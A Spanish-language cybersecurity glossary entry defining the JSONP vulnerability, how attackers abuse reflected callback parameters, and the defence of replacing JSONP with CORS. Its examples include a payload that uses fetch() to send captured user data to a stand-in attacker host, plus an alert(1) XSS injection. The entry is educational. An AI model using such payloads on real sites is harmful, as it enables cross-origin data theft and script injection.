Skip to content
Vol. 1 · Ed. 2026
CyberGlossary
Entry № 566

Vulnerabilidad JSONP

¿Qué es Vulnerabilidad JSONP?

Vulnerabilidad JSONPFuga de datos entre orígenes provocada por endpoints JSONP que devuelven datos sensibles autenticados envueltos en una función de callback controlada por el atacante.


JSONP (JSON with Padding) es una técnica heredada para peticiones entre orígenes en la que el servidor devuelve JavaScript de la forma callback({...}) para que una página remota pueda incluirlo mediante <script src>. Las vulnerabilidades JSONP aparecen cuando dichos endpoints exponen datos autenticados y el parámetro de callback se refleja sin validación: el atacante aloja una página que carga la URL JSONP con su propio nombre de función y captura la respuesta, eludiendo la política de mismo origen y las protecciones SameSite de la época. El patrón también permite XSS si se refleja contenido fuera de un identificador válido. La práctica moderna es eliminar JSONP, sustituirlo por JSON con CORS y nunca exponer endpoints sensibles a inclusión vía <script>.

Ejemplos

  1. 01

    /api/me?callback=window['x']=function(d){fetch('https://malo/?d='+JSON.stringify(d))}.

  2. 02

    Parámetro callback reflejado literalmente, permitiendo XSS mediante callback=alert(1)//.

Preguntas frecuentes

¿Qué es Vulnerabilidad JSONP?

Fuga de datos entre orígenes provocada por endpoints JSONP que devuelven datos sensibles autenticados envueltos en una función de callback controlada por el atacante. Pertenece a la categoría de Ataques y amenazas en ciberseguridad.

¿Qué significa Vulnerabilidad JSONP?

Fuga de datos entre orígenes provocada por endpoints JSONP que devuelven datos sensibles autenticados envueltos en una función de callback controlada por el atacante.

¿Cómo funciona Vulnerabilidad JSONP?

JSONP (JSON with Padding) es una técnica heredada para peticiones entre orígenes en la que el servidor devuelve JavaScript de la forma callback({...}) para que una página remota pueda incluirlo mediante <script src>. Las vulnerabilidades JSONP aparecen cuando dichos endpoints exponen datos autenticados y el parámetro de callback se refleja sin validación: el atacante aloja una página que carga la URL JSONP con su propio nombre de función y captura la respuesta, eludiendo la política de mismo origen y las protecciones SameSite de la época. El patrón también permite XSS si se refleja contenido fuera de un identificador válido. La práctica moderna es eliminar JSONP, sustituirlo por JSON con CORS y nunca exponer endpoints sensibles a inclusión vía <script>.

¿Cómo defenderse de Vulnerabilidad JSONP?

Las defensas contra Vulnerabilidad JSONP combinan habitualmente controles técnicos y prácticas operativas, como se detalla en la definición.

¿Cuáles son otros nombres para Vulnerabilidad JSONP?

Nombres alternativos comunes: Fuga JSONP, Secuestro JSONP.

Términos relacionados